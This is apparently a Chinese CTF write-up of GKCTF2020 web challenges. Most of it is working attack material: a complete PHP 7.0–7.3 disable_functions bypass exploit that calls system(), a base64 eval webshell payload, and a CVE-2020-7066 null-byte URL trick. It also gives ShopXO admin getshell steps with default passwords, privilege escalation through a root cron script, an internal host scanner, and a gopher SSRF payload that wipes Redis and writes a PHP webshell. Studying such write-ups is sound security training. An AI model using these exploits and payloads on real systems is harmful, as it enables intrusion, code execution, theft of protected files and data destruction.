GKCTF2020部分web

[GKCTF2020]CheckIN

<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

代碼很簡單，可以直接傳一句話進去連一下

payload

http://af177e9c-88f0-444b-9907-1fcfe5bcb276.node3.buuoj.cn/?Ginkgo=QGV2YWwoJF9QT1NUWycweGRhd24nXSk7

可以看到根目錄下有flag和readflag，自然而然想到了bypass disable_functions

bypass disable_functions

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

上傳至/tmp目錄

在頁面中包含exp.php即可得到flag，include('/tmp/exp.php');

http://af177e9c-88f0-444b-9907-1fcfe5bcb276.node3.buuoj.cn/?Ginkgo=aW5jbHVkZSgnL3RtcC9leHAucGhwJyk7

[GKCTF2020]cve版簽到

CVE-2020-7066

在PHP7.2.29以下的7.2.x版本、7.3.16以下的7.3.x版本和7.4.4以下的7.4.x版本中，當對用戶提供的URL使用get_headers()時，如果URL包含零(\0)字符，則URL將被自動截斷。這可能會導致某些軟件對get_headers()的目標做出錯誤的假設，並可能將某些信息發送到錯誤的服務器。

payload

http://b843bf90-0805-4ffb-9e98-199c36018373.node3.buuoj.cn/?url=http://127.0.0.123%00www.ctfhub.com

[GKCTF2020]老八小超市兒

ShopXO電商系統後臺getshell

用的是ShopXO開源電商系統，getshell的方法看這篇文章http://www.nctry.com/1660.html

http://9e751664-0977-41d8-bc01-cf4cc366cf77.node3.buuoj.cn/admin.php?s=/admin/logininfo.html

先在這個頁面登錄，默認密碼admin、shopxo，然後在應用商店下載默認主題

把php馬放在default\_static_裏，再上傳進行主題安裝

馬兒的路徑

http://9e751664-0977-41d8-bc01-cf4cc366cf77.node3.buuoj.cn/public/static/index/default/shell.php

linux定時任務

auto.sh

#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

makeflaghint.py

import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()

這個是root權限控制的py文件，那麼這個也有root權限。用這文件read flag然後寫到flag.hint裏面。

import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
a=io.open("/root/flag","rb+")
b=a.read()
f.write(b)
f.write(str(gk1))
f.write(str(gk))
f.close()

[GKCTF2020]EZ三劍客-EzWeb

F12發現<!--?secret-->，訪問後得到內網ip地址

內網探測

寫個腳本跑一下內網活躍的主機

import requests
import time

url = "http://58e1161e-665e-40f3-a995-91f24c4ba850.node3.buuoj.cn"
submit = "/index.php?url=173.142.212.{}&submit=%E6%8F%90%E4%BA%A4"
 
for i in range(1, 255):
    payload = url + submit.format(i)
    r = requests.get(payload)
    if len(r.content) != 445:
        print(i)
// 4 5 6 7 10 11

在173.142.212.11上發現被你發現了,但你也許需要試試其他服♂務,就在這臺機子上! ...我說的是端口啦1

端口掃描

拿bp跑一下端口，發現80和6379是開放的，6379上部署的是redis服務

ssrf+redis

payload

gopher://173.142.212.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

打過去後再訪問173.142.212.11/shell.php即可

GKCTF出題筆記+redis未授權訪問

淺析Redis中SSRF的利用